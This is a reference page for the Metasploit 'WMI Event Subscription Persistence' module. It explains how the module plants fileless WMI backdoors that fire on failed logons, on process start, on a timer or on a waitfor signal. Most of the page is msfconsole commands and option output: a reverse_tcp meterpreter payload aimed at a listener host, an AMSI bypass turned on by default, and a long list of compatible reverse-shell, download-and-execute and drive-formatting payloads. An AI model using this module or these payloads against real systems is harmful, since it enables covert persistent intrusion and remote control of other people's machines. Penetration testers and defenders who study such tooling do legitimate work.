WMI Event Subscription Persistence - Metasploit
This page contains detailed information about how to use the exploit/windows/local/wmi_persistence metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: WMI Event Subscription Persistence
Module: exploit/windows/local/wmi_persistence
Source code: modules/exploits/windows/local/wmi_persistence.rb
Disclosure date: 2017-06-06
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will create a permanent WMI event subscription to achieve file-less persistence using one of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload. The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method creates an event filter that utilizes the Microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER before executing the payload. The signal can be sent from a windows host on a LAN utilizing the waitfor.exe command (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/windows/local/wmi_persistence
msf exploit(wmi_persistence) > show targets
... a list of targets ...
msf exploit(wmi_persistence) > set TARGET target-id
msf exploit(wmi_persistence) > show options
... show and set options ...
msf exploit(wmi_persistence) > set SESSION session-id
msf exploit(wmi_persistence) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the windows/local/wmi_persistence exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/wmi_persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/wmi_persistence) > show info
Name: WMI Event Subscription Persistence
Module: exploit/windows/local/wmi_persistence
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-06-06
Provided by:
Nick Tyrer <@NickTyrer>
Available targets:
Id Name
-- ----
0 Windows
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CALLBACK_INTERVAL 1800000 yes Time between callbacks (In milliseconds). (Default: 1800000).
CLASSNAME UPDATER yes WMI event class name. (Default: UPDATER)
EVENT_ID_TRIGGER 4625 yes Event ID to trigger the payload. (Default: 4625)
PERSISTENCE_METHOD EVENT yes Method to trigger the payload. (Accepted: EVENT, INTERVAL, LOGON, PROCESS, WAITFOR)
PROCESS_TRIGGER CALC.EXE yes The process name to trigger the payload. (Default: CALC.EXE)
SESSION yes The session to run this module on.
USERNAME_TRIGGER BOB yes The username to trigger the payload. (Default: BOB)
WAITFOR_TRIGGER CALL yes The word to trigger the payload. (Default: CALL)
Payload information:
Description:
This module will create a permanent WMI event subscription to
achieve file-less persistence using one of five methods. The EVENT
method will create an event filter that will query the event log for
an EVENT_ID_TRIGGER (default: failed logon request id 4625) that
also contains a specified USERNAME_TRIGGER (note: failed logon
auditing must be enabled on the target for this method to work, this
can be enabled using "auditpol.exe /set /subcategory:Logon
/failure:Enable"). When these criteria are met a command line event
consumer will trigger an encoded powershell payload. The INTERVAL
method will create an event filter that triggers the payload after
the specified CALLBACK_INTERVAL. The LOGON method will create an
event filter that will trigger the payload after the system has an
uptime of 4 minutes. The PROCESS method will create an event filter
that triggers the payload when the specified process is started. The
WAITFOR method creates an event filter that utilizes the Microsoft
binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
before executing the payload. The signal can be sent from a windows
host on a LAN utilizing the waitfor.exe command (note: requires
target to have port 445 open). Additionally a custom command can be
specified to run once the trigger is activated using the advanced
option CUSTOM_PS_COMMAND. This module requires administrator level
privileges as well as a high integrity process. It is also
recommended not to use stageless payloads due to powershell script
length limitations.
References:
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/
Module Options
This is a complete list of options available in the windows/local/wmi_persistence exploit:
msf6 exploit(windows/local/wmi_persistence) > show options
Module options (exploit/windows/local/wmi_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
CALLBACK_INTERVAL 1800000 yes Time between callbacks (In milliseconds). (Default: 1800000).
CLASSNAME UPDATER yes WMI event class name. (Default: UPDATER)
EVENT_ID_TRIGGER 4625 yes Event ID to trigger the payload. (Default: 4625)
PERSISTENCE_METHOD EVENT yes Method to trigger the payload. (Accepted: EVENT, INTERVAL, LOGON, PROCESS, WAITFOR)
PROCESS_TRIGGER CALC.EXE yes The process name to trigger the payload. (Default: CALC.EXE)
SESSION yes The session to run this module on.
USERNAME_TRIGGER BOB yes The username to trigger the payload. (Default: BOB)
WAITFOR_TRIGGER CALL yes The word to trigger the payload. (Default: CALL)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Windows
Advanced Options
Here is a complete list of advanced options supported by the windows/local/wmi_persistence exploit:
msf6 exploit(windows/local/wmi_persistence) > show advanced
Module advanced options (exploit/windows/local/wmi_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM_PS_COMMAND no Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Powershell::Post::dry_run false yes Return encoded output to caller
Powershell::Post::force_wow64 false yes Force WOW64 execution
Powershell::Post::log_output false yes Write output to log file
Powershell::Post::timeout 15 yes Powershell execution timeout, set < 0 to run async without termination
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/wmi_persistence module can exploit:
msf6 exploit(windows/local/wmi_persistence) > show targets
Exploit targets:
Id Name
-- ----
0 Windows
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/wmi_persistence exploit:
msf6 exploit(windows/local/wmi_persistence) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/adduser normal No Windows Execute net user /ADD
6 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
7 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
8 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
9 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
10 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
11 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
12 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
13 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
14 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
15 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
16 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
17 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
18 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
19 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
21 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
22 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
23 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
24 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
26 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
27 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
28 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
29 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
30 payload/windows/exec normal No Windows Execute Command
31 payload/windows/format_all_drives manual No Windows Drive Formatter
32 payload/windows/loadlibrary normal No Windows LoadLibrary Path
33 payload/windows/messagebox normal No Windows MessageBox
34 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
35 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
36 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
37 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
38 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
39 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
40 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
41 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
42 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
43 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
44 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
45 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
46 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
47 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
48 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
49 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
50 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
51 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
52 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
53 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
54 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
55 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
56 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
57 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
58 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
59 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
60 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
61 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
62 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
63 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
64 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
65 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
66 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
67 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
68 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
69 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
70 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
71 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
72 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
73 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
74 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
75 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
76 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
77 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
78 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
79 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
80 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
81 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
82 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
83 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
84 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
85 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
86 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
87 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
88 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
89 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
90 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
91 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
92 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
93 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
94 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
95 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
96 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
97 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
98 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
99 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
100 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
101 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
102 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
103 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
104 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
105 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
106 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
107 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
108 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
109 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
110 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
111 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
112 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
113 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
114 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
115 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
116 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
117 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
118 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
119 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
120 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
121 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
122 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
123 payload/windows/pingback_bind_tcp normal No Windows x86 Pingback, Bind TCP Inline
124 payload/windows/pingback_reverse_tcp normal No Windows x86 Pingback, Reverse TCP Inline
125 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
126 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
127 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
128 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
129 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
130 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
131 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
132 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
133 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
134 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
135 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
136 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
137 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
138 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
139 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
140 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
141 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
142 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
143 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
144 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
145 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
146 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
147 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
148 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
149 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
150 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
151 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
152 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
153 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
154 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
155 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
156 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
157 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
158 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
159 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
160 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
161 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
162 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
163 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
164 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
165 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
166 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
167 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
168 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
169 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
170 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
171 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
172 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
